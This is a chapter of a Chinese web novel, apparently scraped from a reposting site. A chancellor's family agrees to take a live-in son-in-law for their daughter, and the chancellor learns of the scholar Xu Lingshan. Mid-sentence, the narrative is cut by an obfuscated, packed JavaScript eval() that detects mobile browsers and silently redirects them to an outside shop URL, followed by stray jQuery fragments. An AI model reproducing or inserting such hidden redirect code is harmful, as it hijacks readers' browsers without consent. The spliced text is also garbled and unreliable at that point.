文趣网 > 其他小说 > 赘夫 > 4. 徐凌山
    此话一出,在场所有人都沉默了,不约而同露出震惊诧异的神色,同时心里也展开对这个提议可行性的思索。

    招赘?

    似乎也可以。

    温慧迟疑道:“一般无男丁的人家才会招赘婿延续家中香火。”

    “娘,您这般想就落入俗套了。”

    楚彦双眸发亮,看上去比楚云雪这个当事人还要激动。

    “招婿好啊!来个赘婿雪儿就不必离家生活,在我们的眼皮子底下量对方也不敢让雪儿受委屈,我觉得可行,大哥,你说呢?”

    他一边说话一边伸手拍了拍楚昀的肩膀,笑得没心没肺,“爹娘给雪儿置办的嫁妆很丰厚,不管住不住家里,养活他们夫妻都没问题,不过招赘婿的话,门第比我们家高或者与我们家相当的都不成了。”

    楚昀嫌弃地拨开弟弟的手,面露不愉,表态道:“雪儿在家里哪用她花自己的嫁妆?就你多话。”

    “爹娘,我也觉得招赘可行,不如……”

    楚昀适时停住话头,目光转而看向妹妹,问道:“雪儿,你自己觉得呢?”

    “我……”

    楚云雪有些紧张,接收到家人们关切的眼神,她尴尬地笑笑,忐忑道:“我自然希望留在自己家。”

    “熟悉的环境熟悉的亲人,不必担心遇到不好的婆家被磋磨,也不用逼自己去适应去包容,只是我们家有大哥二哥撑门户,我招赘婿恐惹人非议,影响家中名声。”

    对于“娶夫婿”这个提议,楚云雪很心动,就怕外人说闲话影响爹娘和哥哥们,姐姐在宫里也有很多人盯着,时时刻刻抓错处。

    心有顾虑,她回话时底气不足,越说越小声,说到最后默默低下了头,心情很是低落,无奈道:“算了吧!又不是嫁不出去。”

    楚彦见不得妹妹委屈,当即便要出声安慰,告诉她不用想太多,只需考虑自己的意愿,其他自有爹娘和两位哥哥兜底。

    然而不等他开口,楚昀一记眼刀扫过来,血脉上的压制让他下意识做出从心的反应,想说的话生生卡在喉咙了。

    厅内一静,大人们在思索,两小孩你看看我,我看看你,不敢随意插话,很是乖顺。

    如此过了好一会儿,楚文君放下筷子,目光略过儿女,最后在儿媳的脸上顿了顿,很快收回,一锤定音道:“招婿一事就这么定了。”

    “男方门第高低不重要,重要的是品行心性和样貌家风,春闱在即,各地有识之士齐聚一堂,这是个极好的机会,老大老二你们俩最近多注意些,夫人和老大媳妇可以多走动,探一探别家夫人的口风,看看有没有愿意入赘的。”

    几人都没意见,陆续点头应承了。

    “放心吧!雪儿的婚嫁不会影响到你们,手心手背都是肉,我和你们娘对每个孩子一视同仁,不过你们两兄弟是男子,要求方面会更严苛。”

    “一个男子如果连自己的小家都撑不起来,那也太废物了,我这么说你们可有异议?”

    楚昀和楚彦对视一眼,异口同声地回道:“谨记父亲的教诲。”

    封静全程没说几句话,不过听了公爹解释般的话语,心里还是舒坦很多。

    她嫁进楚家时小姑子才四岁,可以说是看着小姑子长大的,感情有,但她也要为了一双儿女考虑。

    婆家人包括自己的夫君都疼爱小姑子,她作为嫂子,平时对小姑子也不错,可牵扯利益,总归要多几分私心,这是未出嫁前她娘时常教导的,虽不是完全认同,但不得不承认那些观念有一定的道理。

    “时辰不早了,都回吧!”

    楚文君发话,在场所有人一块离席,各回各院了。

    这夜过后,丞相府要招赘婿的消息陆陆续续传播开,民间百姓众说纷纭,高门内也偶有议论。

    有人称赞楚丞相的拳拳爱女之心,也有人觉得楚家过于娇宠女儿,家中有两子竟然还招赘婿,简直是笑话。

    谁家姑娘不嫁人?谁家养女儿像他们那样?

    不管外面的人如何说,楚家人稳稳当当不受半点影响,该干嘛就干嘛。

    只是先前分外活跃想要结亲的人家大多生了退意,剩下一小部分舍不得这门好亲事,脑子一转,将家中嫡次子或者相对优秀的庶子推到台面上,契而不舍登门打探,试图攀上这门亲,谋一份坦途前程。

    温慧和封静用心筛选,接连拒绝多家问亲,看得多了,眼光越发挑剔。

    楚丞相则将目光放到今年春闱的考生身上,得闲便约老友去茶楼坐一坐,听那些考生文辩,遇到好苗子就释放一点善意,收几个门生。

    若是有缘,还能从中挑选一良婿,两全其美。

    今日他便与礼部尚书方拯相约在状元茶楼。

    听着楼下慷慨激昂的辩论,方拯笑道:“我觉得庞仲安不错,思维敏捷,有自己独到的见解,言之有物,若杏榜有名,可安排外放做一地父母官。”

    “那个乔祥宇也不错,嘴皮子利索,所辩一句比一句犀利,完全不给对方留面子,对方递台阶也不下,过于耿直不懂变通,适合御史台。”

    “还有那个齐怀舒,哈哈,是个妙人,北境过来的,懂羌国语,鸿胪寺对于他而言是个好去处。”

    方拯一一点评,半晌儿不见老友回应,忙问道:“你主张来喝茶,却频频走神,想什么呢?”

    “唉,都是好苗子,可惜年纪太大,不相配。”楚文君悠悠一叹,回话牛头不对马嘴,倒将方拯搞懵了。

    方拯疑惑道:“据我了解,庞仲安三十有五,齐怀舒三十,乔祥宇也就二十八,年纪哪里大了?他们正值壮年,至少还能为朝廷效力三四十年。”

    楚文君:……

    “唉!你不懂,入朝为官确实算不得年纪大,但是对于我家雪儿来说,他们的年纪确实太大了。”

    方拯无语了,恼道:“哼!死老头,我看你是发昏了,他们都有家室,即便你不嫌弃年纪大,也不可能入赘你家,死了这条心吧!”

    楚文君白了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527229|203566||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    老友一眼,没吭声。

    片刻后,方拯突然吸气,脑子里浮现一个年轻后生俊朗的脸庞,倏地眼前一亮,随手倒一杯茶递到楚文君面前,压低声音神秘兮兮说道:“老楚,我知道一个符合你要求的人,只是不知道他愿不愿意入赘。”

    “是谁?”楚文君追问。

    “徐凌山,祖籍平州宁安县,十九岁,举人功名,身高八尺,五官端正,就是皮肤有点黑不像其他读书人,听说父母早亡了。”

    “我也是无意间从一个门生那里知道他,见过一面,不卑不亢,做事也踏实,是个不错的后生,平时靠打零工赚几两碎银养活自己,前年年底考进青山书院,同窗对他评价极高。”

    “我本想收他做门生,让他专心读书,被他婉拒了,你可以回家问问阿彦小子,他或许也知道这个人。”

    “徐凌山。”楚文君努力在脑海中搜寻关于这个名字的记忆,却一无所获,“行,我记住了,你的眼光不会差,我信你。”

    方拯轻哼,不客气地怼道:“那是自然,我若有闺女,这样有潜力的后生压根轮不到你,罢了罢了,废话少说,事成记得给我包个大红封,没成事的话就当我没说。”

    二人相识相知三十余年,默契自不必说,双双举起茶杯碰一下,相视一笑。

    茶楼中的谈话当事人无从得知,他此时正在码头赤.裸着上身扛粮包,薄肌微鼓,汗水伴随着呼吸节奏缓慢滑落,浸湿了缠在腰间的布巾,在他宽厚的胸膛、后背留下一道道晶亮的水痕。

    “徐凌山,有人找你。”码头管事站在不远处大喊,见人走过来,继续说道:“剩下的粮包不多了,给你结工钱先走吧!”

    “行,多谢管事了。”

    徐凌山扯开腰间的布巾胡乱往身上擦,直至将汗水粗略擦拭一遍才穿好衣裳离开码头,在出口左侧看到了焦急等待的眼熟面孔。

    他眉头微蹙没声张,大步走近低声问道:“不是说在外尽量不碰面吗?何事这般着急?”

    “回公子,东家来燕京了,申时正就离开,想与您见一面。”传话的伙计探头探脑,不想太多人注意到这边,“小人准备了马车,公子请随我来。”

    “嗯。”

    徐凌山调整好呼吸,大跨步走向马车,片刻后,马车悄然驶离码头,只有零星几个正在干活的工人看到了,不过他们疲于手中活,根本不会放在心上。

    传话的伙计在金玉楼当差,而金玉楼隶属裴家商行,是出了名的聚金窝,被不少权贵盯着。

    好在裴家有个皇商的名头,每年捐出无数金银充入国库,背靠当今圣上,这才没人敢动。

    马车自金玉楼后门驶入,人还没下车,就有管事守着迎接,“公子总算来了,东家在二楼天字号等您。”

    “嗯,麻烦你让人准备水和衣物,我稍后要用。”

    徐凌山没有耽搁,交代一句就匆匆上二楼,雅间门推开,迎面对上一双含笑的眼,他也跟着笑了。

    “裴叔。”